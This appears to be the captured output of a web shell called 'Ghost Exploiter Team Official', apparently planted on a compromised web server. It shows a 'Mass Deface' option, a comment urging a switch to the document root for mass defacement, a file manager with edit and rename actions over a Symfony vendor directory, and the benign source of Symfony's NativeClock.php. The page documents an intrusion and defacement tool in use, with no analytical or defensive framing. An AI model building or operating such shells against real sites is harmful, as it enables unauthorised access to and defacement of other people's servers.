Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
symfony
/
clock
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Resources
--
ren
Test
--
ren
CHANGELOG.md
0.485KB
edt
ren
Clock.php
2.313KB
edt
ren
ClockAwareTrait.php
0.821KB
edt
ren
ClockInterface.php
0.546KB
edt
ren
DatePoint.php
5.417KB
edt
ren
LICENSE
1.043KB
edt
ren
MockClock.php
3.181KB
edt
ren
MonotonicClock.php
2.613KB
edt
ren
NativeClock.php
1.759KB
edt
ren
README.md
1.167KB
edt
ren
composer.json
0.854KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Clock; /** * A clock that relies the system time. * * @author Nicolas Grekas <p@tchwork.com> */ final class NativeClock implements ClockInterface { private \DateTimeZone $timezone; /** * @throws \DateInvalidTimeZoneException When $timezone is invalid */ public function __construct(\DateTimeZone|string|null $timezone = null) { $this->timezone = \is_string($timezone ??= date_default_timezone_get()) ? $this->withTimeZone($timezone)->timezone : $timezone; } public function now(): DatePoint { return DatePoint::createFromInterface(new \DateTimeImmutable('now', $this->timezone)); } public function sleep(float|int $seconds): void { if (0 < $s = (int) $seconds) { sleep($s); } if (0 < $us = $seconds - $s) { usleep((int) ($us * 1E6)); } } /** * @throws \DateInvalidTimeZoneException When $timezone is invalid */ public function withTimeZone(\DateTimeZone|string $timezone): static { if (\PHP_VERSION_ID >= 80300 && \is_string($timezone)) { $timezone = new \DateTimeZone($timezone); } elseif (\is_string($timezone)) { try { $timezone = new \DateTimeZone($timezone); } catch (\Exception $e) { throw new \DateInvalidTimeZoneException($e->getMessage(), $e->getCode(), $e); } } $clone = clone $this; $clone->timezone = $timezone; return $clone; } }